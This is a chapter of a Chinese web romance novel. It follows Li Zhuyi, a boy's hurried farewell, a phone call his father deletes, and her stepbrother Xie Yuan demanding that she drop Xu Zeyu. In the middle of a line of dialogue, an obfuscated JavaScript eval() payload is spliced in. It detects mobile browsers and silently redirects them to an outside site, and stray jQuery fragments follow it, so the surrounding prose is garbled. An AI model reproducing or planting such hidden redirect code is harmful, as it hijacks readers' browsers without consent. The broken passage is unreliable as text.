默认冷灰
24号文字
方正启体

26. 第 26 章

作者:南西鹿本书字数:K更新时间:
    她不知道他的名字,只能称呼他为某某同学。


    “不是故意不告诉你,我的名字。”他的瞳孔映着李祝宜的脸,有些难以启齿:“因为一些原因,我之后大概率会改名易姓,改姓江,江河的江,名还没取好,到时候正式改名字的时候我抽一个。”


    李祝宜不说话。抽签?一定是开玩笑的吧。


    “到时候一定告诉你。”他郑重承诺。


    在他的注视下,李祝宜点点头。


    他抬手告别:“好了,祝宜同学,你上楼吧。你家人得等着急了。”


    李祝宜没否认。可惜家里没有人在等她。


    她一个人也挺好的,街坊邻居都很照顾她,成长嘛,总要学会一个人的。好吧,她这是在自己安慰自己。


    她也挥挥手:“路上注意安全,拜拜,江同学。”


    一大早窗外各种噪声起伏,李祝宜今天休息,往耳朵里塞了耳塞继续睡。


    她的卧室很小,临街,晚上偶尔能听到醉鬼骂街的声音,早上会传来摊贩的叫卖声,因为这里靠近菜市场,很多摊贩和早起买菜的人会从这里经过。家里的另一间卧室会没这么多噪声,但没有好到哪里去。


    她八点半起床,吃了两个水煮蛋后下楼准备去菜市场买菜。


    住在一楼的阿姨拦住她:“祝宜啊,天刚亮的时候有一位脸藏得严实的男孩来找你。我担心又是来找你麻烦的人,没有告诉他你住在几楼,也没有把你的联系方式给他。我让他留了一张字条,我拿给你。”


    阿姨进屋将一张折了又折的纸拿给她:“我没有看里面写的什么,如果是写了什么不好的内容,你赶紧扔掉。”


    李祝宜点头后道谢。


    这是一张临时从记事本上扯下来的纸,上面写着几句话。


    祝宜同学,事发突然,我和我的家人行程有变,订了今早八点半的机票回家,现在我只能仓促地向你告别。如果可以的话,以后能继续交流吗?聊什么都行。我的手机号码是……


    从水县开车前往附近的机场需要两个小时左右。


    那他大概就是五六点时来找的她。


    确实够仓促的。


    李祝宜将纸条收好,妥帖地压进手机壳里,对阿姨说:“是我新认识的朋友,不是来找我麻烦的人。”


    “那就好。下次他再来找你,我就不拦着他。”阿姨笑,“就是不知道小伙子长什么样子,脸遮得怪严实的。”


    李祝宜也不知道他长什么样子,她说:“以后他不会再来了,他不是本地人。”


    “这样啊。”阿姨说了三个字就没再说其他的话。


    “嗯。”


    人与人总是相遇又分别,分别后随着时间的流逝,情谊大概率会变得越来越淡。李祝宜悲观又清醒,就像她和以安哥,即便关系再好,长时间不见后也会变得稍微有些生疏。


    更何况是两个没有认识几天的人。


    萍水相逢分别后迟早会变成陌生人。


    她晃了晃脑袋,将这些胡思乱想抛向脑后,先去买菜,买完菜回来写一套卷子。


    李祝宜在第二天下午三点左右拨出了那一串数字。


    通话那头是陌生的男人声音:“你是?”


    李祝宜说:“您好,我找江同学。”


    “你打错电话了。”


    李祝宜看了一下电话号码,没有按错数字,他留的不是他自己的联系方式吗?


    她道:“我不清楚他姓什么,但他说他以后会改姓江。”


    “你打错了。”那人挂断了电话。


    李祝宜满脑子问号,她将那张纸从手机壳里拿出来,电话号码没错。


    那就只有一个可能,他在仓促间写错了数字,这么马虎的吗?


    深蓝市,司机将许则屿遗落在车里的手机送回许家,送到许则屿手里。


    许则屿拿到手机后率先看有没有人给他打电话,在没有看到有人来电后,他将手机放在一旁,揉着邻居家阿拉斯加的肚皮,狗在他手下谄媚得像一只狐狸。


    李祝宜什么时候会联系他?会联系他吗?


    司机默不作声地离开。


    那通电话打来时,他正送许先生前往公司,是许先生接的电话。


    许先生应该是不小心点到了扩音。


    他刚好听到女孩说少爷会改姓江那句话,当即冷汗直流。他在许家工作了很多年,所以知道些不为外人所知的事情。比如说,夫人在结婚前交往的男朋友就姓江。再比如说,先生和夫人经常因为这人吵架,这次吵凶了,夫人一气之下带着少爷离开。直到前天晚上,先生赶到小城市放低姿态去认错,才将夫人劝了回来。


    “以后看着点则屿,少让他和这些会带歪他心思的人来来往。”许铭荣说。


    司机只能应着。


    许铭荣手指一滑,将通话记录删除。


    ……


    风大,李祝宜一出教室就拢了拢外套,加快走路的速度向食堂走去。


    等进入食堂,风就被屏蔽了。


    她一眼扫到了坐在老位置上的许则屿。


    他的金发实在很显眼啊,衬得人有一种idol感,当时李祝宜只是建议他如果以后有染发的想法可以选择金发,没想到他和谢垣比完赛回来就染上了,说是十一月限定风格。


    谢垣没在,许则屿说谢垣有其他事情,所以不和两人一起吃饭。


    饭后,许则屿往嘴里塞了一个蓝莓味棒棒糖,递给李祝宜一个芒果味的。在询问李祝宜现在要不要吃后,他将外面的一层纸撕掉,重新递给李祝宜。


    芒果的味道席卷口腔,温泠好奇地问他:“你芒果过敏严重到连芒果味的糖也不能吃吗?”


    “是的,嘴会肿。如果是直接吃芒果的话,不仅脸会肿,还会起很多红肿,丑得完全没法见人。”他的语气有点可怜,“偏偏我最爱吃的水果就是芒果。”


    人如果因为过敏不能吃自己喜欢吃的东西,那真的是一件很伤心的事情了。


    李祝宜安慰他:“我一定会好好品尝你给我的芒果味棒棒糖。”


    许则屿语气夸张:“好感动。我上辈子一定是拯救了银河系才能遇到李祝宜你。”


    戏有点过了,怎么像哄孩子的语气,但李祝宜没有反驳,她甚至还说:“兴许就是你说的那样。”


    许则屿习惯吃着吃着就咬碎棒棒糖,他斜眼瞥向李祝宜,眼尾上钩,眼睛里含着笑意。


    真可爱啊,李祝宜。又可爱又酷。


    李祝宜踩过掉落在地上的红色枫叶,记忆里有另外一个吃芒果会过敏的人。


    但相处时间太短暂,很多记忆就淡忘了,更何况她还不知道他长什么样,叫什么名字。


    一个过客,会有新的过客代替。


    李祝宜将棒棒糖的棍子扔进垃圾桶里。


    被揉成一团的纸团以抛物线的轨迹准确无误地掉进垃圾桶里。


    综合楼办公室303,谢垣重新在电脑上敲下“和解书”三个字。


    他很清晰地记得许则屿今天对他说过的话。


    “我不是无缘由地想靠近李祝宜,不是突发奇想地想和李祝宜做朋友,我以前见过她,但她不记得我。没想到我运气这么好,她转学到了我的学校,那天早上我迟到,看见穿着英雅校服在校门口徘徊的她,还以为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492992|202325||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我眼花了。”


    谢垣斟酌着敲了十五分钟的字,敲完字后打印出来,将和解书夹在书本里带到教室。等到晚上,这张纸被他从书里拿出来,他带着它敲响李祝宜房间的门。


    门被人从里打开,李祝宜的头发微湿,显然是洗完头不久还没有将头发完全吹干,她穿着淡绿色的睡衣,瓷白色的皮肤透着红润,抬手时,长袖往里滑,露出一截雪白的手腕,之前戴在右腕的朱砂手链戴在左腕上。


    李祝宜见他盯上自己的手链,将手往回缩。


    见李祝宜防备的眼神,他的脸色变得更臭。


    他想说他才看不上李祝宜当宝贝似的破烂,又想起自己因这破烂被李祝宜扇了一巴掌。


    算了,他这次是想和她好好沟通,不打算吵架。


    “有事?”见他这样,李祝宜的语气自然称不上好。


    谢垣走进去,反手将门关上,他莫名有些烦躁:“你明天也用这样的语气对许则屿说话试试看?当着我一套,当着他又是另外一套。李祝宜,谁有你会玩双标?”


    李祝宜明白了,谢垣大概是今天心情不好,所以来找她茬。


    她提了一下嘴角,气定神闲地说:“双标吗?许则屿是我的好朋友,我和他说话时的语气自然会温柔一些。”


    谢垣一副看透了她的神情:“李祝宜,你这场幼稚的游戏什么时候结束?”


    李祝宜迎上他的视线,“哥哥,我是真心想和许则屿做朋友,但是你不相信,这让我有什么办法?”


    她又刻意地叫他哥哥,谢垣现在已经勉强能适应她这样叫他。


    他磨磨牙偏过头:“你心里比谁都清楚,你自己是不是真心?”


    就连叫“哥哥”都叫得虚情假意。


    李祝宜就是为了将他这个哥哥气得跳脚,为了看他憋屈的反应,为了报复他,所以才刻意接近许则屿,还宣称要抢他最好的朋友。


    许则屿不知道真相,他却清楚其中的弯弯绕绕。


    李祝宜给人的感觉就像是枝头孱弱的小白花,柔弱无助的兔子,肯定对许则屿这种从小喜欢招猫逗狗照顾弱小的人有很大吸引力,再加上她是转学生孤零零的一个人,所以许则屿会对她多加照顾。


    他一开始以为是这样。


    直到许则屿对他说了那一番话,他才意识到。


    许则屿不是将这段友谊当成临时的浅薄的普通朋友关系来维系。


    但是居心不良的李祝宜以后没准会利用和许则屿的情谊图谋一些别的东西。


    他将一张A4纸从兜里拿出来,展开后递给李祝宜,语气生硬:“你看看这个。”


    李祝宜接过,看完上面的内容后,脑子里面冒出一句话,谢垣脑子有病吧。


    他的字里行间只表达了一个中心思想。


    他愿意和李祝宜就此和解,但前提是李祝宜需要主动远离许则屿,并承诺以后不再和许则屿来往。


    李祝宜不能理解:“你认真的?”


    “你说呢?”他皱眉,“我像是在开玩笑?”


    李祝宜说:“你像精神失常了。”


    谢垣如同被踩了一脚:“我精神失常?李祝宜你清不清楚你在说什么?我是在给你机会和我和解。”


    哪有这样强硬的和解方式?其实就是换一种看似绵软的说法想让她妥协。


    她如果妥协了,她和谢垣的关系就会真正好转,她和妈妈在谢家的地位就会变高?她才不相信。


    李祝宜轻悠悠地说:“可是我很满意现状,比起和哥哥你和解,我更喜欢看我们三个人待在一起的时候,你明明讨厌我却还要在许则屿面前强装对我友好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)